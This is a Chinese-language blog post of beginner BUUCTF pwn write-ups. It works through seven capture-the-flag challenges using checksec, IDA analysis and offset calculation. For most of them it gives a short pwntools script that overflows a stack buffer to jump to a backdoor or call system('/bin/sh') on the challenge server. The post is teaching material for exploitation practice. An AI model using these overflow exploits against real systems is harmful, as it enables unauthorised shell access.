首页 > 其他分享 >pwn打打基础——BUUCTF篇(1)

pwn打打基础——BUUCTF篇(1)

时间:2023-11-21 23:12:19浏览次数:36  
标签:BUUCTF 函数 打打 system flag offset pwn payload

BUUCTF刷刷基础题先,打牢下基础

test_your_nc

就非常经典的起引导作用的nc题
格式:nc IP 端口
image

rip

checksec一下
image
发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码
image
image
发现有gets()函数(并不会限制输入的字节数),也有system("/bin/sh"),没有什么其它陷阱。那这就是一道非常经典的ret2text题目,可直接转到fun()函数即可,那么脚本如下

from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote("node4.buuoj.cn",27199) #远端链接
offset = 0x0F + 0x08 #0x0F是s的字节大小,0x08是为了覆盖rsp来进行跳转
system = 0x000000000040118A #执行system函数的地址
payload = offset * b'a' + p64(system)
p.sendline(payload) #攻击
p.interactive() #交互模式

运行脚本结果后获得权限,然后获取flag即可
image

warmup_csaw_2016

依旧是先checksec
image
跟上一题一模一样的保护,然后用IDA查看一下代码
image
典型的栈溢出,再找找有没有调用system()函数,发现sub_40060D里就藏着我们的目标
image
思路一下子就明了了起来,由gets进行栈溢出之后跳转到sub_40060D内执行,这里提供两种获得sub_40060D函数地址的方法
①.在IDA的Options里选择General,然后勾选Line prefixes(graph),在sub_40060D函数体内按下TAB键,即可查看到sub_40060D这个子函数的地址
image
image
②.在main函数里有sprintf函数,其中%p指向sub_40060D,可以打印出它的地址。直接nc就可以获得它的地址
image
那么脚本如下

from pwn import *
p = remote('node4.buuoj.cn',29841)
offset = 0x40 + 0x08
payload = offset *b'a' + p64(0x40060d)
p.recvuntil(">") #可以理解为将程序运行到">"字符的出现
p.sendline(payload)
p.interactive()

然后就获取权限可以提取flag了
image

ciscn_2019_n_1

checksec一下
image
发现多开了一个NX保护,栈不可执行,意味着我们没法直接往栈区里写入类似shellcode的代码,再来看看IDA里边的函数
image
image
在func函数里我们发现,要是想获得flag,我们就得让v2等于11.28125,但是在最开始v2已经被初始化为0.0了,那么现在的问题就是如何将v2的值覆盖为11.28125,需要借用我们的gets函数从v1溢出到v2进行覆盖
image
根据计算,偏移量offset = -0x04 + 0x30,那么最后的难点就是如何给v2赋值了,一个浮点型的数字没办法直接通过十进制来赋值,所以我们要想办法把浮点型数字转换成计算机能够识别的格式,也就是十六进制。但我心有余而力不足,不会这种转换方式,就抱着试一试的心态看看能不能在IDA里找到能表示11.28125,在流程图里看到了个很可疑的对比对象dword_4007F4
image
这个dword_4007F4后边紧跟着jnz指令,那么我大胆猜测,这个dword_4007F4里就储存着11.28125的十六进制数据,那么此时去获取它的地址
image
构造脚本

rom pwn import *
p = remote('node4.buuoj.cn',29495)
offset = 0x30 - 0x04
floatnum = 0x41348000 #储存11.28125的地址
payload = offset * b'a' + p64(floatnum)
p.recvuntil('number')
p.sendline(payload)
p.interactive()

攻击!如愿以偿的得到了flag
image
不过,真正正确的攻击方式应该是人为的将11.28125转换为十六进制数据,像这样能够找着存储它的地址的机会实在是很少,还是得多学习下如何进行转换
总结:核心就是赋值,将浮点型数据转换为十六进制数据

pwn1_sctf_2016

checksec
image
和上题一样,不过变成了x86程序,IDA查看一下
image
image
image
发现有后门函数,但是vuln函数却是个大麻烦,这么多奇怪的代码混淆我们的视线,并且fgets函数里有且仅能输入32字节数据,看起来无法进行栈溢出的样子。但是,我们可以看到有个函数叫replace,根据英文单词释义以及前文中剃刀的两个英语单词,可以猜测是不是将I转换成you,或者将you转换成I,空谈误国,nc一下试试先
image
事实证明,I被转换成了you,那就好办了,一字节变成了三字节,这不刚好为我们的栈溢出创造条件吗?ok这下就是计算偏移量offset的时间!offset = 0x3C + 0x04,换成十进制就是64字节长度,然后跳转到get_flag函数即可,那么此时就可以构造脚本了

from pwn import *
p = remote('node4.buuoj.cn',28925)
offset = 20 #0x3C ÷ 3 == 20
flag = 0x08048F0D
payload = offset * b'I' + 4 * b'a' + p32(flag) #因为是x86,所以用p32打包,且esp只占4字节长度
p.sendline(payload)
p.interactive()

那么运行后结果如下,顺利拿下flag!
image

jarvisoj_level0(这个跟前边的rip差不多,可跳)

checksec
image
NX开启,栈不可执行,x64位,查看代码
image
image
有后门函数callsystem()
image
普通的ret2text,脚本如下

from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote('node4.buuoj.cn',25895)
offset = 0x80 + 0x08
callsystem = 0x0000000000400596
payload = offset * b'a' + p64(callsystem)
p.sendline(payload)
p.interactive()

运行脚本即可
image

jarvisoj_level2

checksec一下
image
x86,部分地址随机化,NX保护
IDA查看一下代码
image
image
嗯,是栈溢出的感觉!但是system里边的参数并不是我们想要的,那在这个程序里面有没有藏着"/bin/sh"呢?找找吧~
然后我们就在Exports里发现了个hint,好东西啊,看看!
image
image
好家伙,正是我们所需要的参数!那么现在的任务就是在栈溢出之后把参数传到system函数里边执行了,获取下_system函数地址
image
OK!那么就可以开始构造脚本了!

from pwn import *
#context(arch="amd64", os="linux", log_level="debug")
p = remote('node4.buuoj.cn',29791)
offset = 0x88 + 0x04
shell = 0x0804A024
system = 0x0804845C
payload = offset * b'a' + p32(system) + p32(shell)
p.sendlineafter("Input:\n",payload) #在接收到"Input:\n"后发送payload
p.interactive()

运行脚本获得权限提取flag即可
image

总结:这几道题里难的就是pwn1_sctf_2016和ciscn_2019_n_1,算是使用ROPgadget前相对来说比较难的基础题。难在代码审计和数据转换,对我来说算是一种比较新的题型了,可以多总结练习一下,把基础夯实,更好学习后面的知识

标签:BUUCTF,函数,打打,system,flag,offset,pwn,payload
From: https://www.cnblogs.com/falling-dusk/p/17847854.html

相关文章

  • Misc_BUUCTF_WriteUp | wireshark
    题目提示:黑客通过wireshark抓到管理员登陆网站的一段流量包(管理员的密码即是答案)注意:得到的flag请包上flag{}提交题目:(pcap文件分析根据提示,我们需要找到管理员的密码。一般密码这类机密性高的信息会通过POST请求提交数据,于是打开文件,过滤出POST请求试试:过滤......
  • Misc_BUUCTF_WriteUp | 乌镇峰会种图
    题目提示:乌镇互联网大会召开了,各国巨头汇聚一堂,他们的照片里隐藏着什么信息呢?(答案格式:flag{答案},只需提交答案)注意:得到的flag请包上flag{}提交题目:(jpg图片分析(题外话,这个提示的要求还真是迂回……打开属性,空空如也。用010Editor打开看看:文件头的正常的jpg头。......
  • Misc_BUUCTF_WriteUp | N种方法解决
    题目(一个exe文件分析双击文件发现打不开,用010Editor打开是一条字符串:看开头的内容应该是图片类型的文件,之后是一长串Base64的编码。先对Base64的编码进行解码:得到一串以PNG开头的乱码,看起来像个PNG文件。ctrl+z回到刚才的base64编码进行复制,新建一个十......
  • Pwn2own 2022 Tesla 利用链 (ConnMan 堆越界写 RCE)
    Pwn2own2022Tesla利用链(ConnMan堆越界写RCE)Openingthedoorsandwindows0-clickRCEontheTeslaModel3HEXACON2022-0-clickRCEontheTeslaModel3byDavidBerard&VincentDehors漏洞分析ConnMan处理WIFIPortal时的堆越界写,这部分协议特性称作:WISP......
  • 【pwn】[FSCTF 2023]Fi3h --orw利用,沙箱检测
    还是先查一下程序保护情况然后看一下代码逻辑可以发现这里的代码还是挺多的,这里讲一下几个关键部分,首先是开头的addr=(__int64)mmap(0LL,0x1000uLL,7,34,-1,0LL);将addr这个地址开始的地方变成rwx权限,我们看一下这个地址是哪里发现addr位于bss段中,接着看一下menu函数......
  • 【pwn】[FSCTF 2023]What am I thinking? --pwntools工具的利用
    这道题没给附件,直接就是nc这个题目的意思是,我们随机输入一个数,然后发给我们一段base64加密后的密文,真正num就在里面,我们现在写个pwntools脚本提取一下这段base64密文,解密一下,看看是什么东西exp:io=remote("node4.anna.nssctf.cn",28045)io.sendline(str(2))io.recvuntil(b"......
  • Misc_BUUCTF_WriteUp | 大白
    题目提示:看不到图?是不是屏幕太小了注意:得到的flag请包上flag{}提交题目:(png图片分析屏幕太小?放大图片没发现什么异常。看属性啥也没;用StegSolve切换通道一切正常;010Editor打开文件头没问题,找flag……眼睛快瞎了!……不是这么小个图怎么这么多东西?啊???行数从0到......
  • 【pwn】[FSCTF 2023]2str --整数溢出绕过
    检查一下保护状态接着ida看代码逻辑看func函数第一次看真没发现有什么漏洞,题目给了backdoor,虽然strlen可以\x00绕过,但是strcpy函数也限制漏洞的实现。仔细看的话,会发现v3的类型是 unsigned__int8v3;说明v3是一个字节来表示的,可表示的范围只有0~255,那这样绕过思路就很清......
  • buuctf:crypto1-10
    crypto1. 得到一串字符串,可以用base64编码解码工具之间进行解密 crypto2. 标题直接写了MD5,所以用md5解密(数字与字母的组合)可直接解出crypto3.同理第三题,用url工具crypto4. 用凯撒密码解决并且将偏移量改为13crypto5. 摩斯密码直接得出crypto6.这道题吧,只能靠......
  • BUUCTF
    1.easyreexeinfo查壳64位,无壳,用ida64打开首先查看字符串表发现flag2.reverse1exeinfo查壳64位,无壳,用ida64打开首先查看字符串发现疑似flag的字符串查看引用该字符串的函数Str2即是该字符串。注意到有一个strcmp()函数,所以基本确定Str2即是flag。有一个......